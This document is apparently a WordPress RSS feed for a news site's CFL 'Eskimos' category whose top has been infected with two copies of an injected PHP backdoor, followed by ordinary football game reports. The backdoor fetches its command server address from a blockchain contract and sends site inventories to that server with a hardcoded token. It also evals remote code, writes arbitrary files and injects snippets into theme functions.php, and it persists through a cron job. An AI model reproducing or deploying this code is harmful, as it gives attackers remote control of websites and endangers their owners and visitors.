// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Eskimos – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 15 Jun 2018 10:12:50 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Eskimos – Brief News https://briefnews.eu 32 32 Eskimos edge Bombers in CFL's 2nd-longest game in history https://briefnews.eu/eskimos-edge-bombers-in-cfls-2nd-longest-game-in-history/ https://briefnews.eu/eskimos-edge-bombers-in-cfls-2nd-longest-game-in-history/#respond Fri, 15 Jun 2018 10:12:50 +0000 http://briefnews.eu/eskimos-edge-bombers-in-cfls-2nd-longest-game-in-history/

The Edmonton Eskimos downed the Winnipeg Blue Bombers 33-30 on Thursday in the second-longest game in CFL history.

When the final gun sounded at 1:17 a.m. CT, Edmonton kicker Sean Whyte had given his team a three-point victory after lightning forced two weather delays in the action at Investors Group Field in Winnipeg.

Kickoff was at 7:35 p.m. and the total of the two delays was two hours and 55 minutes. The total time of the game was five hours and 42 minutes.

Edmonton quarterback Mike Reilly ran in a pair of one-yard touchdowns, including one with 1:22 left in the game. He then connected with Nate Behar on a two-point convert to tie it 30-30.

Whyte kicked a 44-yard winning field goal with eight seconds to go.

Bombers rookie quarterback Chris Streveler threw three touchdown passes in his pro debut.

A couple sits in the rain as a lightning delay stopped play between the Edmonton Eskimos and the Winnipeg Blue Bombers during the first half of CFL action in Winnipeg. (John Woods/Canadian Press)

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]]> https://briefnews.eu/eskimos-edge-bombers-in-cfls-2nd-longest-game-in-history/feed/ 0 Stampeders to meet Argos in Grey Cup after edging Eskimos https://briefnews.eu/stampeders-to-meet-argos-in-grey-cup-after-edging-eskimos/ https://briefnews.eu/stampeders-to-meet-argos-in-grey-cup-after-edging-eskimos/#respond Mon, 20 Nov 2017 04:36:22 +0000 http://briefnews.eu/stampeders-to-meet-argos-in-grey-cup-after-edging-eskimos/ The Calgary Stampeders will get their shot at Grey Cup redemption.

Calgary advanced to the CFL’s championship game for a second straight year Sunday by downing the visiting Edmonton Eskimos 32-28 in the West Division final.

The Stampeders, whose 13-4-1 regular-season record was the league’s best, will face the Toronto Argonauts next Sunday in Ottawa for the title.

The Argonauts (9-9) beat the Saskatchewan Roughriders 25-21 in Sunday’s East Division final.

After posting a 15-2-1 record in 2016, Calgary lost last year’s Grey Cup in a massive upset. The Stampeders were beaten 39-33 in overtime by the Ottawa Redblacks (8-9-1).

stamps-esks

Calgary Stampeders quarterback Bo Levi Mitchell throws the ball during first quarter against the Edmonton Eskimos. Calgary went on to win 32-28. (Jeff McIntosh/The Canadian Press)

“Last year was a success, but it didn’t mean a lot when you can’t finish,” Stampeder head coach Dave Dickenson said.

“Winning the West is not going to be enough. If we can’t finish the deal and get the job done against a great opponent, well-coached, it’s going to feel hollow again.”

Fifth Grey Cup in a decade

The Stampeders appear in their fifth Grey Cup in a decade with previous wins in 2008 and 2014.

Calgary had lost three in a row heading into Sunday’s game, but the Stampeders recovered their winning form. The defence held the CFL’s No. 1 offence to 18 points for three quarters.

Calgary’s ground game clicked with running backs Jerome Messam and Roy Finch each scoring a touchdown and combining for 152 rushing yards.

Finch, a finalist for the CFL’s best special teams player this year, totalled 233 yards in returns, receiving and rushing.

Quarterback Bo Levi Mitchell threw touchdown passes to Marquay McDaniel and Marken Michel.

Mitchell, who has played through an undisclosed injury in his throwing arm for much of the season, completed 20-of-32 passes for 228 yards.

It was a harder road to the championship game in 2017 for the Stampeders and their quarterback.

“It means the world to me,” Mitchell said. “It’s what I play this game for. I expect to be back there every single year and do what I can to make sure I lead my team to the Grey Cup every single year.

“We did what we did in the regular season, but obviously coming into that three-game losing streak we had a little bit of desperation going into this game, and doubt from a lot of people.”

Faith in the whole team

Quarterback Mike Reilly, C.J. Gable and Derel Walker scored touchdowns for the Eskimos, who finished third in the division at 12-6.

Reilly, the West nominee for the CFL’s Most Outstanding Player award, was 23 for 38 in passing for 348 yards.

Kicker Sean Whyte missed field-goal tries from 42 and 30 yards, but made them from 34 and 20 yards.

Trailing by a converted touchdown, the Eskimos chose to kick a 20-yard field goal with one minute 43 seconds remaining instead of gambling on third and four.

Calgary punted with 24 seconds remaining. Edmonton’s Jamill Smith fumbled the ball on the return and the Stampeders recovered to close out the win.

“We have faith in our whole football team that the defence was going to make the stop, the special teams were going to get the ball back for us and the offence would do their job and go down and score,” Edmonton head coach Jason Maas said.

“Ultimately it didn’t turn out that way.”

Messam stretched over the goal-line to finish a 14-yard carry for a 30-15 lead in the third quarter.

Blustery game

The Eskimos scored on their first two possessions of the game, but the Stampeders countered with three straight touchdowns in the second quarter for a 22-15 halftime lead.

What was a gentle breeze at kickoff accelerated to swirling gusts over 30 kilometres per hour in the second half at McMahon Stadium, where the announced attendance was 30,116.

The wind altered the trajectory of Whyte’s 30-yard attempt in the third quarter as the ball struck the upright and landed dead.

Finch dipsy doodled 50 yards to the end zone and Messam’s three-yard carry added a two-point convert with 22 seconds to go in the first half.

Michel capped a 41-yard drive taking the hand off from Mitchell and scampering 13 yards to score at 11:54. Calgary scored on the first drive of second quarter when Mitchell threw a 10-yard pass to McDaniel.

Reilly connected with an uncovered Walker for a 69-yard touchdown at 8:44 of the first quarter. On a third-down gamble, Gable punched the ball in from eight yards to score on Edmonton’s first drive.

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]]> https://briefnews.eu/stampeders-to-meet-argos-in-grey-cup-after-edging-eskimos/feed/ 0 CFL playoffs: East final a pick-'em, but Eskimos have edge in West https://briefnews.eu/cfl-playoffs-east-final-a-pick-em-but-eskimos-have-edge-in-west/ https://briefnews.eu/cfl-playoffs-east-final-a-pick-em-but-eskimos-have-edge-in-west/#respond Sun, 19 Nov 2017 13:40:54 +0000 http://briefnews.eu/cfl-playoffs-east-final-a-pick-em-but-eskimos-have-edge-in-west/ It’s division final weekend in the CFL, as four teams vie for the right to play for the Grey Cup in Ottawa on Nov. 26.

Here’s what to expect in Sunday’s two games.

Saskatchewan at Toronto (1 p.m. ET)

Saskatchewan (10-8, 1-0 playoffs)) vs. Toronto (9-9) in the East final has all the makings of a weapons-based disagreement in the Wild West.

If you find offence fun to watch this game should — should — be right up your alley.

There’s Duron Carter, receiver and sometime defender, for the Riders. One of the league’s best in a man-to-man battle for the ball, he made three highlight reel catches against the Argos in their first meeting back in Week 6.

There’s Toronto’s James Wilder Jr., who came into his own halfway through the season and earned the East’s top-rookie title by piling up 872 yards on the ground and 533 by air and is now one of the most dangerous weapons in the loop.

Kevin Glenn, finally trusted again by his own coach, can look down field and find big-time targets Carter, Bakari Grant, Naaman Roosevelt and Kienan LaFrance. If allowed to make those passes (especially in the medium flats out by the sidelines) and pick up yards after catch, it’s going to be a hard afternoon for the defence.

Toronto QB Ricky Ray has just completed his second best of 15 seasons. He did not miss a game and flourished under new coach Marc Trestman, whose famous “five short passes and a POW” offence came alive when Wilder was inserted. These guys can move the ball, eating huge amounts of time off the clock while doing so.

This is all wonderful to contemplate, but each has a caveat (hey, it’s football).

FBO CFL Point After 20170731

Duron Carter makes a one-handed TD grab against the Argos in July. (Mark Taylor/Canadian Press)

Carter was experimented on with a move to cornerback for three games, caught just one pass, and only returned to the offence full-time in the semi where he caught five passes. Can he find his true rhythm this week?

Riders know how dangerous Wilder is and will obviously set their defence to stop him. They held Ottawa’s William Powell to 87 total yards last week, so the ability is there.

Glenn may have a poor start, sending young Brandon Bridge into the game. The latter had a strong outing in the Week 16 victory at Toronto (20-for-28, 292 yards, two scores), but is inexperienced. Plus, Toronto’s defensive coordinator Corey Chamblin now has lots of film on the pivot, and that can be key.

Ray was sacked five times and chased around all night during the Week 6 loss at Regina. Since then, the arrival of Wilder and new offensive line coach Jonathan Himebauch have tightened up the unit. They’ll have to be right on their game vs. Saskatchewan.

How this can go wrong for both teams: losing the coin toss. Weather report says cold and high winds from the northwest. The NNW configuration of BMO Field (the old barn was east-west) means it’s going to be blowing hard. Better have the wind in the fourth quarter.

I’m paid to make a choice, but the boss hasn’t specified what system I use to do that. This one is so close we’re going to roll the die — 1-3 means Riders and 4-6 means Argos. Here’s the roll: 5.

The pick: Toronto

Edmonton at Calgary (4:30 p.m. ET)

This Calgary Stampeder defence is outstanding: To begin with. There is no doubt whatever about that. This must be understood so the rest of the preview makes any sense.

(Yes, I stole from Dickens. Thank you for noticing.)

Much of the focus in the run up to the West final this Sunday surrounds how well Edmonton Eskimos QB Mike Reilly is playing right now.

Best pivot in the league. Right on top of his game. Looking as good as anytime in his career. Four stars out of four, says pretty much everyone.

However, literature fans, Calgary’s stout defensive unit has been on top of the plot all season, finishing first in points allowed (the most important number), and best in 13 of the key 18 statistical categories, keying that 13-4-1 record. They can stop the run and pass, have a great rush, play with poise in the backfield and are outstanding in the Red Zone (easily first overall).

A tough go for everyone. Everyone but Reilly.

Over three games vs. the Red, White and Black, the 12-win Eskimo pivot is 89-127, 1,065 yards, six majors and 1,308 net yards. Add three picks to that. His offence was over 400 yards (402, 492) in the contests BEFORE the team added significant runner C.J. Gable at the trade deadline.

